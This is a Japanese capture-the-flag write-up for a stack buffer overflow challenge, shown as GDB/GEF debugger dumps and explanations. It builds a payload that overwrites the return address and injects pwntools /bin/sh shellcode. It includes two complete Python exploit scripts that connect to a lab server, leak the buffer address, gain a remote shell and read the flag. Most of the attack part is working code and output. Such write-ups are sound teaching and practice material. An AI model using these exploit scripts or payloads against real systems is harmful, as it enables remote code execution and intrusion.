<__isoc99_scanf@plt> ↳ 0x555555555060 <__isoc99_scanf@plt+0> jmp QWORD PTR [rip+0x2fca] # 0x555555558030 0x555555555066 <__isoc99_scanf@plt+6> push 0x3 0x55555555506b <__isoc99_scanf@plt+11> jmp 0x555555555020 0x555555555070 <__cxa_finalize@plt+0> jmp QWORD PTR [rip+0x2f82] # 0x555555557ff8 0x555555555076 <__cxa_finalize@plt+6> xchg ax, ax 0x555555555078 add BYTE PTR [rax], al ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ──── __isoc99_scanf@plt ( $rdi = 0x0000555555556042 → 0x1b01005d0a5e5b25 ("%[^\n]"?), $rsi = 0x00007fffffffdf20 → 0x00007fffffffdf88 → 0x00007fffffffe058 → 0x00007fffffffe375 ) ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "shellcode", stopped 0x5555555551de in main (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x5555555551de → main() ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Breakpoint 1, 0x00005555555551de in main ()
1問目でも言いましたが、arguments(guessed)
の部分を見ると、scanf
はRDIの規則にのっとってRSIに文字列を格納するので、アドレス0x00007fffffffdf20が格納先になります。
なお、このアドレスがtarget
として表示されるものです。
では、短い入力("AAAA")を入れてmain
関数終了直前まで続行します。
gef➤ c Continuing. AAAA AAAA [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0 $rbx : 0x0 $rcx : 0x00007ffff7af2224 → 0x5477fffff0003d48 ("H="?) $rdx : 0x00007ffff7dcf8c0 → 0x0000000000000000 $rsp : 0x00007fffffffdf78 → 0x00007ffff7a03bf7 → <__libc_start_main+231> mov edi, eax $rbp : 0x0000555555555200 → <__libc_csu_init+0> push r15 $rsi : 0x00007ffff7dce7e3 → 0xdcf8c0000000000a $rdi : 0x1 $rip : 0x00005555555551f5 → <main+144> ret $r8 : 0x4 $r9 : 0x0 $r10 : 0x0 $r11 : 0x246 $r12 : 0x0000555555555080 → <_start+0> xor ebp, ebp $r13 : 0x00007fffffffe050 → 0x0000000000000001 $r14 : 0x0 $r15 : 0x0 $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdf78│+0x0000: 0x00007ffff7a03bf7 → <__libc_start_main+231> mov edi, eax ← $rsp 0x00007fffffffdf80│+0x0008: 0x0000002000000000 0x00007fffffffdf88│+0x0010: 0x00007fffffffe058 → 0x00007fffffffe375 → "/mnt/hgfs/vm_share/shellcode/shellcode" 0x00007fffffffdf90│+0x0018: 0x0000000100000000 0x00007fffffffdf98│+0x0020: 0x0000555555555165 → <main+0> push rbp 0x00007fffffffdfa0│+0x0028: 0x0000000000000000 0x00007fffffffdfa8│+0x0030: 0xd84c5aabf0087130 0x00007fffffffdfb0│+0x0038: 0x0000555555555080 → <_start+0> xor ebp, ebp ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x5555555551ea <main+133> call 0x555555555030 <puts@plt> 0x5555555551ef <main+138> mov eax, 0x0 0x5555555551f4 <main+143> leave → 0x5555555551f5 <main+144> ret ↳ 0x7ffff7a03bf7 <__libc_start_main+231> mov edi, eax 0x7ffff7a03bf9 <__libc_start_main+233> call 0x7ffff7a25240 <__GI_exit> 0x7ffff7a03bfe <__libc_start_main+238> mov rax, QWORD PTR [rip+0x3ceda3] # 0x7ffff7dd29a8 <__libc_pthread_functions+392> 0x7ffff7a03c05 <__libc_start_main+245> ror rax, 0x11 0x7ffff7a03c09 <__libc_start_main+249> xor rax, QWORD PTR fs:0x30 0x7ffff7a03c12 <__libc_start_main+258> call rax ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "shellcode", stopped 0x5555555551f5 in main (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x5555555551f5 → main() ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Breakpoint 2, 0x00005555555551f5 in main ()
ここで注目すべきはcode:x86:64
の部分で、これは「main
関数が終わったら次は__libc_start_main+231
の内容を実行するよ」ということを意味しています。
この情報は上のstack
の部分の1行目0x00007fffffffdf78から引っ張ってきます(これがret
命令の挙動です)。
なので、ret
命令は「stack
の先頭0x00007fffffffdf78に格納されているアドレスにジャンプして、その中身を実行するよ」ということになります5。
では、今度は長い入力をいれてみます。
「再度最初から走らせるためr
→ 1個目のブレークポイント(scanf
直前)で止まるのでc
で続行 → 標準入力に"a"を100個入力」とします。
gef➤ r (出力省略) gef➤ c Continuing. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0 $rbx : 0x0 $rcx : 0x00007ffff7af2224 → 0x5477fffff0003d48 ("H="?) $rdx : 0x00007ffff7dcf8c0 → 0x0000000000000000 $rsp : 0x00007fffffffdf78 → "aaaaaaaaaaaa" $rbp : 0x6161616161616161 ("aaaaaaaa"?) $rsi : 0x00007ffff7dce7e3 → 0xdcf8c0000000000a $rdi : 0x1 $rip : 0x00005555555551f5 → <main+144> ret $r8 : 0x64 $r9 : 0x0 $r10 : 0x0 $r11 : 0x246 $r12 : 0x0000555555555080 → <_start+0> xor ebp, ebp $r13 : 0x00007fffffffe050 → 0x0000000000000001 $r14 : 0x0 $r15 : 0x0 $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdf78│+0x0000: "aaaaaaaaaaaa" ← $rsp 0x00007fffffffdf80│+0x0008: 0x0000000061616161 ("aaaa"?) 0x00007fffffffdf88│+0x0010: 0x00007fffffffe058 → 0x00007fffffffe375 → "/mnt/hgfs/vm_share/shellcode/shellcode" 0x00007fffffffdf90│+0x0018: 0x0000000100000000 0x00007fffffffdf98│+0x0020: 0x0000555555555165 → <main+0> push rbp 0x00007fffffffdfa0│+0x0028: 0x0000000000000000 0x00007fffffffdfa8│+0x0030: 0x2234441e2d4d2060 0x00007fffffffdfb0│+0x0038: 0x0000555555555080 → <_start+0> xor ebp, ebp ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x5555555551ea <main+133> call 0x555555555030 <puts@plt> 0x5555555551ef <main+138> mov eax, 0x0 0x5555555551f4 <main+143> leave → 0x5555555551f5 <main+144> ret [!] Cannot disassemble from $PC ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "shellcode", stopped 0x5555555551f5 in main (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x5555555551f5 → main() ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Breakpoint 2, 0x00005555555551f5 in main ()
またmain
終了直前で止まりましたが、今度はcode:x86:64
に[!] Cannot disassemble from $PC
が表示されています。
それもそのはずで、先ほど説明したret
命令に従うと、次に実行すべきはstack
の先頭アドレス0x00007fffffffdf78に格納されているアドレス0x6161616161616161(="aaaaaaaa")の中身になります。
こんなところには普通命令が入っていない(場合によってはアクセスできない)のでエラー終了となります。
いわゆるBuffer Overflowというやつです。
ここまでをまとめると、target
のアドレス0x00007fffffffdf20にscanf
の結果が格納される。ただしstack
の先頭0x00007fffffffdf78以降を書き換えるほど長い入力(89文字以上)だとSegmentation Fault です。
シェルコード
では何をすればいいでしょうか?
タイトルにもある通り、ここでは89文字目以降に/bin/sh
を起動するシェルコードを注入してリモートサーバを乗っ取ろうと思います。
pwntoolsに64ビットELF用のシェルコードがあるのでそれを利用します。
ちなみにシェルコードと、それに対応する命令はこちら。内容は理解不要です。
#!/usr/bin/python3 from pwn import * # デフォルトはi386(32ビット)用のシェルコード表示になるので、amd64(64ビット)用に変更 context.arch = 'amd64' shellcode = asm(shellcraft.amd64.linux.sh()) print(shellcode) # b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05' print(disasm(shellcode)) # 0: 6a 68 push 0x68 # 2: 48 b8 2f 62 69 6e 2f movabs rax, 0x732f2f2f6e69622f # 9: 2f 2f 73 # c: 50 push rax # d: 48 89 e7 mov rdi, rsp # 10: 68 72 69 01 01 push 0x1016972 # 15: 81 34 24 01 01 01 01 xor DWORD PTR [rsp], 0x1010101 # 1c: 31 f6 xor esi, esi # 1e: 56 push rsi # 1f: 6a 08 push 0x8 # 21: 5e pop rsi # 22: 48 01 e6 add rsi, rsp # 25: 56 push rsi # 26: 48 89 e6 mov rsi, rsp # 29: 31 d2 xor edx, edx # 2b: 6a 3b push 0x3b # 2d: 58 pop rax # 2e: 0f 05 syscall
シェルコード部分の前半がASCIIで表示できるものが多いですが、ASCIIで表さない場合、\x6a\x68\x48\xb8\x2f\x62\x69\x6e...
のようになっています。
さて、乗っ取りのイメージとしては、先ほど短い文字列を入力した時のstack
の状態
0x00007fffffffdf78│+0x0000: 0x00007ffff7a03bf7 → <__libc_start_main+231> mov edi, eax ← $rsp 0x00007fffffffdf80│+0x0008: 0x0000002000000000 0x00007fffffffdf88│+0x0010: 0x00007fffffffe058 → 0x00007fffffffe375 0x00007fffffffdf90│+0x0018: 0x0000000100000000 0x00007fffffffdf98│+0x0020: 0x0000555555555165 → <main+0> push rbp ...
だと、従来の挙動である「アドレス0x00007ffff7a03bf7にジャンプ→__libc_start_main+231を実行」という流れでした。これを
0x00007fffffffdf78│+0x0000: 0x00007fffffffdf80 → 0x6e69622fb848686a ← $rsp 0x00007fffffffdf80│+0x0008: 0x6e69622fb848686a (シェルコード部分) ...
と書き換えて、「アドレス0x00007fffffffdf80にジャンプ→そのアドレスの中身であるシェルコード\x6a\x68\x48\xb8\x2f\x62\x69\x6e...
を実行」という流れになっていればOKになります。
このアドレス0x00007fffffffdf80がtarget
のアドレス+0x60であるに注意して、payloadとしては「"A"*88 + (target
のアドレス + 0x60) + シェルコード」となります。
gdbで確認
上のシェルコードには非ASCIIが含まれているので、まずはgdb上のscanf
で非ASCIIの標準入力ができるようにgdb_input
ファイル作成。
#!/usr/bin/python3 from pwn import * context.arch = 'amd64' target_addr = 0x7fffffffdf20 shellcode_addr = target_addr + 0x60 shellcode = asm(shellcraft.amd64.linux.sh()) payload = b'A'*88 + shellcode_addr.to_bytes(8, 'little') + shellcode with open('./gdb_input', 'wb') as f: f.write(payload)
それではgdb起動。いつもと違うのは、r
で最初の実行をする際にgdb_input
をリダイレクトします。
これでscanf
呼び出し時にgdb_input
の内容が読み込まれます。
main
関数の最後にブレークポイントを張っておきます。場所がわからなくなったらdisas main
で確認しましょう。
$ gdb -q ./shellcode gef➤ b *main+144 Breakpoint 1 at 0x11f5 gef➤ r < gdb_input | target | [0x7fffffffdf20] | Well. Ready for the shellcode? > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����� [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0 $rbx : 0x0 $rcx : 0x00007ffff7af2224 → 0x5477fffff0003d48 ("H="?) $rdx : 0x00007ffff7dcf8c0 → 0x0000000000000000 $rsp : 0x00007fffffffdf78 → 0x00007fffffffdf80 → 0x6e69622fb848686a $rbp : 0x4141414141414141 ("AAAAAAAA"?) $rsi : 0x00007ffff7dce7e3 → 0xdcf8c0000000000a $rdi : 0x1 $rip : 0x00005555555551f5 → <main+144> ret $r8 : 0x5e $r9 : 0x0 $r10 : 0x0 $r11 : 0x246 $r12 : 0x0000555555555080 → <_start+0> xor ebp, ebp $r13 : 0x00007fffffffe050 → 0x0000000000000001 $r14 : 0x0 $r15 : 0x0 $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdf78│+0x0000: 0x00007fffffffdf80 → 0x6e69622fb848686a ← $rsp 0x00007fffffffdf80│+0x0008: 0x6e69622fb848686a 0x00007fffffffdf88│+0x0010: 0xe7894850732f2f2f 0x00007fffffffdf90│+0x0018: 0x2434810101697268 0x00007fffffffdf98│+0x0020: 0x6a56f63101010101 0x00007fffffffdfa0│+0x0028: 0x894856e601485e08 0x00007fffffffdfa8│+0x0030: 0x050f583b6ad231e6 0x00007fffffffdfb0│+0x0038: 0x0000555555555000 → <_init+0> sub rsp, 0x8 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x5555555551ea <main+133> call 0x555555555030 <puts@plt> 0x5555555551ef <main+138> mov eax, 0x0 0x5555555551f4 <main+143> leave → 0x5555555551f5 <main+144> ret ↳ 0x7fffffffdf80 push 0x68 0x7fffffffdf82 movabs rax, 0x732f2f2f6e69622f 0x7fffffffdf8c push rax 0x7fffffffdf8d mov rdi, rsp 0x7fffffffdf90 push 0x1016972 0x7fffffffdf95 xor DWORD PTR [rsp], 0x1010101 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "shellcode", stopped 0x5555555551f5 in main (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x5555555551f5 → main() ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Breakpoint 1, 0x00005555555551f5 in main ()
"a"を100回入力した時にcode:x86:64
で発生していた[!] Cannot disassemble from $PC
もないですし、stack
の部分にシェルコードを埋め込めたことになります。
(なお、このままコマンドc
で最後まで動かしてもgdb上なのでシェルは立ち上がりません)
エクスプロイトコード
先にも書きましたが、payload自体は「"A"*88 + (target
のアドレス + 0x60) + シェルコード」となります。
gdbでデバッグしている際はtarget
のアドレスが0x00007fffffffdf20で固定でしたが、リモートサーバ上ではアドレスは毎回変わります。
なのでこちらも2問目と同じようにpwntoolsで抜き出してしまいましょう。exploit.py
は以下のようになります。
#!/usr/bin/python3 from pwn import * context.arch = 'amd64' conn = remote('10.1.1.10', 13050) # targetアドレス直前までの出力取得 conn.recvuntil(b'[') # targetアドレス target_addr = int(conn.recvuntil(b']')[:-1].decode(), 16) shellcode_addr = target_addr + 0x60 shellcode = asm(shellcraft.amd64.linux.sh()) payload = b'A'*88 + shellcode_addr.to_bytes(8, 'little') + shellcode conn.recvuntil(b'> ') conn.sendline(payload) # リモートサーバのシェル取得 conn.interactive()
これを実行するとこんな感じ。あとはflag
のある位置(だいたいhome/user
あたりが多い)を探しましょう。
$ python3 ./exploit.py [+] Opening connection to 10.1.1.10 on port 13050: Done [*] Switching to interactive mode AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x87\x15\x7f $ whoami user $ ls bin boot dev etc home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var $ cd /home $ ls user $ cd user $ ls flag shellcode $ cat flag flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}
別解
この解法だと、scanf
で格納される0x00007fffffffdf20以降のアドレスは以下のように使われています。
gef➤ tel 0x00007fffffffdf20 15 0x00007fffffffdf20│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007fffffffdf28│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007fffffffdf30│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007fffffffdf38│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007fffffffdf40│+0x0020: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007fffffffdf48│+0x0028: 0x4141414141414141 0x00007fffffffdf50│+0x0030: 0x4141414141414141 0x00007fffffffdf58│+0x0038: 0x4141414141414141 0x00007fffffffdf60│+0x0040: 0x4141414141414141 0x00007fffffffdf68│+0x0048: 0x4141414141414141 0x00007fffffffdf70│+0x0050: 0x4141414141414141 0x00007fffffffdf78│+0x0058: 0x00007fffffffdf80 → 0x6e69622fb848686a (ジャンプ先として指定するアドレスはここの直後) 0x00007fffffffdf80│+0x0060: 0x6e69622fb848686a (ここからシェルコード) 0x00007fffffffdf88│+0x0068: 0xe7894850732f2f2f 0x00007fffffffdf90│+0x0070: 0x2434810101697268 ...
では、こうアドレスを使っても解けるのでは?
0x00007fffffffdf20│+0x0000: 0x6e69622fb848686a (ここにシェルコード) 0x00007fffffffdf28│+0x0008: 0xe7894850732f2f2f 0x00007fffffffdf30│+0x0010: 0x2434810101697268 0x00007fffffffdf38│+0x0018: 0x6a56f63101010101 0x00007fffffffdf40│+0x0020: 0x894856e601485e08 0x00007fffffffdf48│+0x0028: 0x050f583b6ad231e6 0x00007fffffffdf50│+0x0030: 0x0000000000000000 0x00007fffffffdf58│+0x0038: 0x0000000000000000 0x00007fffffffdf60│+0x0040: 0x0000000000000000 0x00007fffffffdf68│+0x0048: 0x0000000000000000 0x00007fffffffdf70│+0x0050: 0x0000000000000000 0x00007fffffffdf78│+0x0058: 0x00007fffffffdf20 → 0x6e69622fb848686a (ジャンプ先として指定するアドレスは`target`そのもの)
もちろん解けます。この場合のソルバは以下のようになります。
#!/usr/bin/python3 from pwn import * context.arch = 'amd64' conn = remote('10.1.1.10', 13050) conn.recvuntil(b'[') target_addr = int(conn.recvuntil(b']')[:-1].decode(), 16) shellcode = asm(shellcraft.amd64.linux.sh()) # シェルコードが88バイト未満なのでゼロでパディング payload = shellcode + b'\x00' * (88-len(shellcode)) + target_addr.to_bytes(8, 'little') conn.recvuntil(b'> ') conn.sendline(payload) conn.interactive()